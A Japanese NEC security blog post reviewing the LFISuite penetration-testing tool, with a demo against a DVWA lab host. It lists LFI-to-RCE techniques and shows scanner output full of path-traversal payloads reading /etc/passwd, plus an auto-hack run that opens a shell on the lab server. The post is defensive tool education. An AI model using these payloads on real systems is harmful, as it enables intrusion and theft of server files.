Japan

関連リンク

関連リンク

関連リンク

関連リンク

サイト内の現在位置

ペネトレーションツールの紹介 ~LFISuite~

NECセキュリティブログ

2021年6月11日

NECサイバーセキュリティ戦略本部セキュリティ技術センターの長浜です。
今回は、ペネトレーションテストツールとして便利な「LFISuite」について紹介いたします。

LFISuiteとは

LFISuitenew window[1](※)は、自動的にLFI(Local File Inclusion:サーバ内のファイルの不正な参照)の脆弱性スキャンやRCE(Remote Code Execution:リモートコード実行)のexploitを実行できるツールです。本ツールは、ペネトレーションテストでLFIの脆弱性スキャンに用いるだけではなく、開発したWebサイトにLFIの脆弱性が存在するか確認する際に利用できます。
(※)ライセンスはGPLv3です。

個別の機能を以下でご紹介いたします。

機能紹介

LFI脆弱性スキャン

任意の辞書ファイルとスキャン対象のURLを指定すると自動的にLFIの脆弱性スキャンができます。

RCEのexploitの実行

下記の8つのLFIを起因とするRCEを用いてOSコマンドを実行します。

  • /proc/self/environ
    User-AgentにPHPコードを埋め込むことで、/proc/self/environに送信したPHPコードが書き込まれます。LFIを用いて対象ファイルにアクセスするとPHPコードが実行され、OSコマンドが実行できます。
  • access.log
    GETリクエストにPHPコードを埋め込むことで、access.logにアクセスするとPHPコードが書き込まれます。access.logを表示すると、OSコマンドが実行できます。
  • /proc/self/fd/(数字)
    /proc/self/fd/(数字)には、/dev/fdがシンボリックリンクされています。例えば、/dev/stdin、/dev/stdout、/dev/stderrは、0、1、2の順でリンクされています。Apacheなどのaccess.logが/proc/self/fd/(数字)に出力設定している場合、access.logと同じ手順でOSコマンドが実行できます。
  • phpinfo
    phpinfoの設定において、file_uploadsが有効になっている場合、PHPコードをアップロードできます。LFIを用いてアップロードしたファイルを表示させることでPHPコードを実行できます。new window[2]
  • data://
    インラインでPHPコードを送り込むことでOSコマンドが実行できます。
  • expect://
    プロセスの標準入出力へpty経由でアクセスすることができます。本機能を用いることでOSコマンドが実行できます。
  • input://
    POSTリクエストbodyにPHPコードを埋め込むことでOSコマンドが実行できます。
  • filter://
    フィルタの対象を指定し、ファイルの読み書きなどの機能を用いてOSコマンドが実行できます。

これらの機能に加え、auto-hackモードがあり、LFIの脆弱性スキャンからRCE実行まで一気通貫で実施することができます。

デモ

デモ環境

スキャン対象ホスト

  • OSイメージ:DVWA v1.0.7 new window[3]

スキャン元ホスト

  • OSイメージ:Kali Linux 2020.2
  • Python 2.7

LFISuiteの準備

LFISuiteの準備としてGitからツールをダウンロードします。環境準備ができていれば、ライブラリの自動インストール後、LFISuiteが動作します。

$ git clone https://github.com/D35m0nd142/LFISuite.git
$ cd LFISuite/
$ ls
CHANGELOG.md      COPYING.GPL      lfisuite.py      nc.exe      pathtotest_huge.txt      pathtotest.txt pipper.py      README.md screen.png      socks.py
$ python lfisuite.py

(snip)

/*-------------------------------------------------------------------------*\
| Local File Inclusion Automatic Exploiter and Scanner + Reverse Shell  |
|                                                                                                     |
| Modules: AUTO-HACK, /self/environ, /self/fd, phpinfo, php://input,    |
|              data://, expect://, php://filter, access logs                          |
|                                                                                                     |
| Author: D35m0nd142, <d35m0nd142@gmail.com> https://twitter.com/d35m0nd142                                                       |
\*-------------------------------------------------------------------------*/

[*] Checking for LFISuite updates..
[-] No updates available.

--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
->

LFI脆弱性スキャンデモ

まずは、LFIの脆弱性スキャンの手順を見ていきます。

1.スキャン実施前にDVWAにログインしcookie情報を準備します。今回は以下の情報を用いました。

PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low

2. LFISuiteでスキャン対象とするURLを確認します。

今回のデモでは、DVWA内のLFIの脆弱性が存在するURLを指定します。
個別の検査の際には、GETパラメータでファイル名を入力しているURLを指定する必要があります。

http://192.168.185.133/vulnerabilities/fi/?page=

3. LFISuiteを実行します。

必要事項を入力するとスキャンが開始されます。スキャンが終了すると脆弱なポイントがまとめて提示されます。今回はLFISuiteに実装されている辞書ファイルをそのまま利用しましたが、自身が用意した辞書ファイルでも検査することができます。

$ python lfisuite.py
(snip)
[*] Checking for LFISuite updates..
[-] No updates available.

--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 2

[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low

[?] Do you want to enable TOR proxy ? (y/n) n

.:: LFI Scanner ::.

[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] ->
[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') ->
http://192.168.185.133/vulnerabilities/fi/?page=
[+] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/passwd' [Vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../logs/access_log' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../logs/error_log' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/shadow' [Not vulnerable]
[+] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/group' [Vulnerable]
(snip)
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page= ' [Not vulnerable]

[+] Retrieved 40 interesting paths.

Logs: [4]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
http://192.168.185.133/vulnerabilities/fi/?page=../../../logs/access_log
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../opt/lampp/logs/access_log%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../opt/lampp/logs/access_log
------------------------------------------------------------------------------------------

/proc/self/environ: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------

/proc/self/fd: [2]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/proc/self/fd/10
http://192.168.185.133/vulnerabilities/fi/?page=/proc/self/fd/11
------------------------------------------------------------------------------------------

Configuration: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------

Generic: [34]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=/etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/group
------------------------------------------------------------------------------------------

以上でスキャンのデモは終了となります。
今回は、脆弱性があるシステムに対してスキャンを実施いたしましたが、自身で作成したWebサービスをリリースする前のスキャンにも本ツールは有用と考えています。

LFI to RCEデモ

本ツールでは、スキャンだけではなくLFIの脆弱性に対してRCEを実行し、OSコマンドを実行することができます。

  • 1.
    LFIの脆弱性スキャンの際と同様に必要な情報を準備します。
  • 2.
    LFISuiteを実行します。
    今回はAuto-hackを用いてRCEを実行していきます。このモードはスキャンを実施後、exploit可能な脆弱性に対してInjectionの実行を自動で行います。

$ python lfisuite.py

(snip)
[*] Checking for LFISuite updates..
[-] No updates available.

--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 1

[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low

[?] Do you want to enable TOR proxy ? (y/n) n

.:: LFI Exploiter ::.



____________________________

        Available Injections
____________________________

1) /proc/self/environ
2) php://filter
3) php://input
4) /proc/self/fd
5) access_log
6) phpinfo
7) data://
8) expect://
9) Auto-Hack
x) Back
____________________________

-> 9
.:: Auto Hack ::.

[*] Enter the URL you want to try to hack (ex: 'http://site/vuln.php?id=') -> http://192.168.185.133/vulnerabilities/fi/?page=

.:: LFI Scanner ::.

[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] ->

(snip スキャンの結果と同様な出力が得られます。)

[*]      Trying      to      exploit      php://input      wrapper      on
'http://192.168.185.133/vulnerabilities/fi/?page='..

[+] The website seems to be vulnerable. Opening a Shell..
[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),"content");]

nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$ cd ../
nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$ ls
help
include.php
index.php
source

nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$

シェルを奪取できました。LFISuiteでは、コマンドを入力するたびに初期化する仕様となっています。その仕様を確認するため、Wiresharkを使ってExploitの内容を確認します。

Wiresharkの通信内容を見てみると、確かにコマンドを実行するたびにphp://inputの脆弱性を利用してOSコマンドを実行していることが確認できました。

CTFやHackTheBox[4]で本ツールを利用する際は、別途ReverseShellファイルを転送する必要はあります。

ツールの紹介は以上となります。

所感

  • LFIの脆弱性を確認するための辞書ファイルが準備されていたので、本ツールをインストールすることで、すぐ検査に利用できるのは非常に便利でした。
  • 辞書ファイルについては、Linux系のディレクトリ構成は多く、Windows系のディレクトリ構成が少ないため、自身で調査し登録する必要がありそうです。
  • LFIのRCE可能なexploitを自動で実行する機能は、網羅的な検査という観点で非常に有用と感じました。

最後に

本ツールを利用することでLFIの脆弱性を網羅的に確認することができます。
セキュリティ検査だけではなく、開発したソフトウェアの検査にも有用なツールですので、様々な業務の役に立つのではないかと思います。

以上、LFISuiteの紹介でした。

参考資料

執筆者プロフィール

長浜 佑介(ながはま ゆうすけ)
セキュリティ技術センター リスクハンティングチーム

主にペネトレーションテスト、脆弱性診断などを担当しNECグループのセキュア開発・運用を推進。
2020年6月にIPA 産業サイバーセキュリティセンター中核人材育成プログラムを修了。
情報処理安全確保支援士(RISS)を保持。

執筆者の他の記事を読む

Escキーで閉じる 閉じる